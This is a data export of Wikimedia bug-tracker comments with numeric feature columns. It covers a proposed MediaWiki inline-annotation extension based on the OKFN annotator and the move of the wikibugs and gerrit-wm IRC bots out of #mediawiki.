If this project moves forward, we may want to continue speccing it out on mediawiki.org.",,,1364276995,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,1.0,0.0,0.0,2.0,1.0,3.0,2.5,0.0,0.5,1.0,2.5,1.0,0.0,0.0,0.5,2.5,0.0,7.5,13.0,0.0,3.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,4.0,1.5,1.5,0.0,0.5,0.0,0.5,1.0,0.0,0.5,1.0,4.0,0.5,0.5,0.0,0.5,0.0,13.0,1.0,1.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,5.0,4.5,7.0,1.5,2.0,9.5,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.5,13.0,2.0,0.0,0.0,0.0,4.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.5,3.8568309070548716,0.7461366181410974,"To follow up, I have decided to act as mentor should the project be selected.

I think annotation is a valid term, although comment is also commonly used (e.g. LibreOffice, Google Docs).  co-ment seems to use both terms.

There should probably be some kind of permalink that shows the comment, but initially that might just be a link to the revision (especially if comments aren't preserved on edit in the first implementation).

I don't think they should be shown to readers by default.  It would have to be a toggle of some kind.  It would be nice to make this available in VisualEditor mode (either just that, or both).

The notes to self idea needs further thought.  I see the primary use of the extension as collaborative work, but then again people do use userpage for drafts too.

If this project moves forward, we may want to continue speccing it out on mediawiki.org."
228089,Implement inline comment support using OKFN annotator,"A bit of context and braindumping:

http://openannotation.org/
http://www.openannotation.org/wiki/index.php/Web_Page_Clients_List

Maybe ""annotations"" is the label we are looking for? Wikipedia articles are not scholarship texts, and inline comments won't be scholrship annotations. Then again... aren't they structurally the same? Point to a specific portion of text and connect a comment, a signature, a timestamp, maybe a link.

Another aspect is My Annotations, as part of My Contributions.

I guess annotations will need a unique deeplink? 

And do we get those annotations by default, or should users activate an ""Annotated view""? Maybe the latter, it looks like too much extra bytes and clutter for the majority of people interested in the first paragraph and some factoids.

Bonus:
Are all annotations willing the be seen publicly by default? We won't go for private annotations, but maybe people want to have notes-to-self? Like ToDo post-its for editors, or notes for students preparing their school work. Those would be as public as our User pages: public for those knowing where to look but out of default searches / views.",,,1364271952,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-14,,1.0,0.0,0.0,0.3333333333333333,1.3333333333333333,4.0,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,1.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,5.666666666666667,9.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.0,3.6666666666666665,2.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,3.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.0,15.333333333333334,1.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.666666666666667,3.3333333333333335,8.333333333333334,0.3333333333333333,3.6666666666666665,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,3.0,2.3333333333333335,1.3333333333333333,0.0,4.0,0.0,0.3333333333333333,2.6666666666666665,0.0,1.6666666666666667,0.0,0.0,0.0,4.036529680365296,0.7671232876712328,"A bit of context and braindumping:

URL
URL

Maybe ""annotations"" is the label we are looking for? Wikipedia articles are not scholarship texts, and inline comments won't be scholrship annotations. Then again... aren't they structurally the same? Point to a specific portion of text and connect a comment, a signature, a timestamp, maybe a link.

Another aspect is My Annotations, as part of My Contributions.

I guess annotations will need a unique deeplink? 

And do we get those annotations by default, or should users activate an ""Annotated view""? Maybe the latter, it looks like too much extra bytes and clutter for the majority of people interested in the first paragraph and some factoids.

Bonus:
Are all annotations willing the be seen publicly by default? We won't go for private annotations, but maybe people want to have notes-to-self? Like ToDo post-its for editors, or notes for students preparing their school work. Those would be as public as our User pages: public for those knowing where to look but out of default searches / views."
228084,Implement inline comment support using OKFN annotator,"This feature request is being considered for 

https://www.mediawiki.org/wiki/Summer_of_Code_2013#Project_ideas

Question: is there a potential mentor willing to help potential students interested in this project?",,,1364081939,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.851851851851852,0.8888888888888888,"This feature request is being considered for 

URL

Question: is there a potential mentor willing to help potential students interested in this project?"
228079,Implement inline comment support using OKFN annotator,This sounds much more like a separate extension than an enhancement to ArticleFeedback.,,,1363987812,,PHID-USER-a5pveeqqwaddgfjiv2fq,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,5.357142857142857,1.0,This sounds much more like a separate extension than an enhancement to ArticleFeedback.
228075,Implement inline comment support using OKFN annotator,"Such articles tend to be protected on some level, though, and the same reasons would probably have to apply to this as well.",,,1363911693,,PHID-USER-nv2bu7uh3huvidyjo4lk,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.8846153846153846,"Such articles tend to be protected on some level, though, and the same reasons would probably have to apply to this as well."
228072,Implement inline comment support using OKFN annotator,"(In reply to comment #4)
> But why would that many people be commenting on the same thing?

Think of a controversial article that asserted a true, verifiable, but controversial fact.  It would probably perennially attract comments to the sentence stating the fact.  So at the very least there would have to be easy filtering/mark as resolved/mark as rejected.

I agree it doesn't *have* to be Wikipedia-scalable, but it's certainly far more useful if it is.

Note, implementers should also consider looking at the co-ment code.",,,1363911476,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.5,0.0,1.0,8.5,0.5,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.5,1.0,0.0,7.0,8.0,0.0,2.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.5,4.5,2.5,3.5,3.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,3.5,2.5,5.5,1.0,1.5,3.5,0.0,0.0,0.0,0.5,7.0,0.0,0.5,0.0,4.5,8.0,1.0,0.0,0.0,0.0,4.5,0.0,0.5,1.0,0.0,1.5,1.0,0.5,0.0,3.8269230769230766,0.7884615384615384,"(In reply to comment #4)
QUOTE

Think of a controversial article that asserted a true, verifiable, but controversial fact.  It would probably perennially attract comments to the sentence stating the fact.  So at the very least there would have to be easy filtering/mark as resolved/mark as rejected.

I agree it doesn't *have* to be Wikipedia-scalable, but it's certainly far more useful if it is.

Note, implementers should also consider looking at the co-ment code."
228068,Implement inline comment support using OKFN annotator,"Right, I guess my point was just that wikipedia is not as extreme as folks often make out, sorry. If the thing is well-engineered and scales properly it should work for everyone, which would be perfect.",,,1363910784,,PHID-USER-nv2bu7uh3huvidyjo4lk,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,0.0,2.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,12.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,7.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.883720930232558,0.8837209302325582,"Right, I guess my point was just that wikipedia is not as extreme as folks often make out, sorry. If the thing is well-engineered and scales properly it should work for everyone, which would be perfect."
228065,Implement inline comment support using OKFN annotator,"If it's not the problem, all the better. I'm just saying that we shouldn't hamper this potential GSOC project with Wikipedia-centric issues if they are not issues for the 98% of MediaWikis out there.",,,1363910387,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,2.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,7.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,16.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.86046511627907,0.8837209302325582,"If it's not the problem, all the better. I'm just saying that we shouldn't hamper this potential GSOC project with Wikipedia-centric issues if they are not issues for the 98% of MediaWikis out there."
228061,Implement inline comment support using OKFN annotator,"(In reply to comment #3)
> Then again it is not a trivial project at all. If we propose this we should
> put
> apart key aspects of Wikipedia like 5.000 editors commented on the same
> sentence, performance issues, scalability... Perhaps the project could
> consist
> in recycling as much stet code as possible and plug it to a MediaWiki
> backend.

But why would that many people be commenting on the same thing? There are only so many parts of an article worth commenting on, and only so many points to be made, and a flat out discussion would belong on a talkpage (or equivalent), not in the comments themselves.

As it is people tend to distribute what they work on and edit. Yes, many, many people edit wikipedia and such, and a lot of people may edit the same article, but it doesn't happen all at once. Comments, even if they do span multiple revisions, will only span so many before they cease to apply.

Just look at gerrit as a tiny example - plenty of folks comment on plenty of things, but I've rarely seen more than one or two people comment inline on any one patchset. It's only useful for so many things, and once someone made a point there's no use making it again.",,,1363909988,,PHID-USER-nv2bu7uh3huvidyjo4lk,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,3.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,6.666666666666667,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,6.666666666666667,10.666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,5.0,0.3333333333333333,1.6666666666666667,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,11.333333333333334,0.0,0.3333333333333333,0.0,3.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,5.666666666666667,1.3333333333333333,4.0,4.333333333333333,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.3333333333333333,1.6666666666666667,0.0,3.6666666666666665,10.666666666666666,2.0,0.3333333333333333,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,2.3333333333333335,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,3.5973287865870986,0.7188832054560955,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

But why would that many people be commenting on the same thing? There are only so many parts of an article worth commenting on, and only so many points to be made, and a flat out discussion would belong on a talkpage (or equivalent), not in the comments themselves.

As it is people tend to distribute what they work on and edit. Yes, many, many people edit wikipedia and such, and a lot of people may edit the same article, but it doesn't happen all at once. Comments, even if they do span multiple revisions, will only span so many before they cease to apply.

Just look at gerrit as a tiny example - plenty of folks comment on plenty of things, but I've rarely seen more than one or two people comment inline on any one patchset. It's only useful for so many things, and once someone made a point there's no use making it again."
228056,Implement inline comment support using OKFN annotator,"Regadless of Wikipedia & Wikimedia plans, this looks like an extension that would be useful and welcomed in other MediaWikis out there. Well, I know that in the GPLv3 drafting times I really wanted to have that in the MediaWiki based project we were running...

Then again it is not a trivial project at all. If we propose this we should put apart key aspects of Wikipedia like 5.000 editors commented on the same sentence, performance issues, scalability... Perhaps the project could consist in recycling as much stet code as possible and plug it to a MediaWiki backend.",,,1363909447,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,2.0,0.0,0.0,0.0,1.0,5.5,1.0,0.0,0.0,1.0,4.5,0.0,0.5,0.0,0.0,3.5,0.0,8.0,11.5,0.0,0.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.5,2.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.5,0.5,12.0,0.5,1.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,1.5,8.5,1.5,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.5,1.0,0.0,5.0,11.5,4.5,0.0,0.0,0.0,5.0,0.0,0.5,2.5,0.0,1.0,0.0,0.0,0.0,4.398148148148148,0.8703703703703703,"Regadless of Wikipedia & Wikimedia plans, this looks like an extension that would be useful and welcomed in other MediaWikis out there. Well, I know that in the GPLv3 drafting times I really wanted to have that in the MediaWiki based project we were running...

Then again it is not a trivial project at all. If we propose this we should put apart key aspects of Wikipedia like 5.000 editors commented on the same sentence, performance issues, scalability... Perhaps the project could consist in recycling as much stet code as possible and plug it to a MediaWiki backend."
228050,Implement inline comment support using OKFN annotator,"See http://lists.wikimedia.org/pipermail/ee/2013-March/000263.html (beginning of thread), in particular http://lists.wikimedia.org/pipermail/ee/2013-March/000276.html (about some of the UI/UX challenges).

The AFT team is not planning on implementing this, at least for the time being.

It is a candidate for a Google Summer of Code Project (mentioned at https://www.mediawiki.org/wiki/Talk:Summer_of_Code_2013#List_of_project_ideas_25327), among other possibilities.",,,1363906883,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-15,,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,22.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,18.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,3.7333333333333334,0.7333333333333333,"See URL (beginning of thread), in particular URL (about some of the UI/UX challenges).

The AFT team is not planning on implementing this, at least for the time being.

It is a candidate for a Google Summer of Code Project (mentioned at URL among other possibilities."
228045,Implement inline comment support using OKFN annotator,This could also potentially be done as a separate extension.,,,1363903597,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,1.0,This could also potentially be done as a separate extension.
48322,Move wikibugs and gerrit-wm out of #mediawiki,"Various users find them inappropriate in #mediawiki because it is a support channel, not as much a developer discussion channel (#wikimedia-dev).

Whether to move them there or to a dedicated channel isn't clear yet.

See discussions on bug 46282 and bug 46144.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Low,25.0,1363699500,1398197924.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-b7iac2xw43i4wyam3nwq,task_description,resolved,True,c1,1,True,False,False,-15,,1.0,0.0,0.0,0.0,3.0,7.0,3.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,7.0,3.0,3.0,4.0,0.0,0.0,0.0,3.0,4.0,0.0,3.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,4.026666666666666,0.6933333333333334,"Various users find them inappropriate in #mediawiki because it is a support channel, not as much a developer discussion channel (#wikimedia-dev).

Whether to move them there or to a dedicated channel isn't clear yet.

See discussions on bug 46282 and bug 46144.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
220521,Move wikibugs and gerrit-wm out of #mediawiki,https://github.com/valhallasw/pywikibugs is the source for people who want to make modifications.,,,1398601535,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,URL is the source for people who want to make modifications.
220512,Move wikibugs and gerrit-wm out of #mediawiki,"Wikibugs is dead, pywikibugs reports to #wikimedia-dev.",,,1398197924,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,1.0,"Wikibugs is dead, pywikibugs reports to #wikimedia-dev."
220503,Move wikibugs and gerrit-wm out of #mediawiki,"(In reply to Krinkle from comment #11)
> Re-opened since bug 46144 is still unresolved.

You didn't re-open this bug. It's now a tracking bug that's marked resolved/fixed with an open dependency. Hrm.",,,1393636938,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.268292682926829,0.8780487804878049,"(In reply to Krinkle from comment #11)
QUOTE

You didn't re-open this bug. It's now a tracking bug that's marked resolved/fixed with an open dependency. Hrm."
220493,Move wikibugs and gerrit-wm out of #mediawiki,Re-opened since bug 46144 is still unresolved.,,,1366375213,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Re-opened since bug 46144 is still unresolved.
220485,Move wikibugs and gerrit-wm out of #mediawiki,"06.45 -!- Nemo_bis changed the topic of #wikimedia-dev to: MediaWiki and Wikimedia software development | Support: #mediawiki | Technical help for Wikimedia wikis: #wikimedia-tech | Wikimedia operations: #wikimedia-operations

It used to be ""Developers' talk about WMF's #mediawiki projects"" or very similar ones (the key being WMF) since the beginning of time (creation as -usability).",,,1366174392,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,14.0,1.0,3.0,4.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,1.0,10.0,11.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.227848101265823,0.6835443037974683,"06.45 -!- Nemo_bis changed the topic of #wikimedia-dev to: MediaWiki and Wikimedia software development | Support: #mediawiki | Technical help for Wikimedia wikis: #wikimedia-tech | Wikimedia operations: #wikimedia-operations

It used to be ""Developers' talk about WMF's #mediawiki projects"" or very similar ones (the key being WMF) since the beginning of time (creation as -usability)."
220479,Move wikibugs and gerrit-wm out of #mediawiki,"https://gerrit.wikimedia.org/r/#/c/57752/ , https://gerrit.wikimedia.org/r/#/c/57753/ merged.

00.31 -!- gerrit-wm [~gerrit-wm@manganese.wikimedia.org] has quit [Remote host closed the connection]
00.32 < mutante> bot is moving per merged changes
00.32 < James_F> Yup. :-)
00.32 < James_F> (Yay.)

(CEST)",,,1366172907,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,22.0,3.6363636363636362,0.6727272727272727,"URL , URL merged.

00.31 -!- gerrit-wm [~gerrit-wm@manganese.wikimedia.org] has quit [Remote host closed the connection]
00.32 < mutante> bot is moving per merged changes
00.32 < James_F> Yup. :-)
00.32 < James_F> (Yay.)

(CEST)"
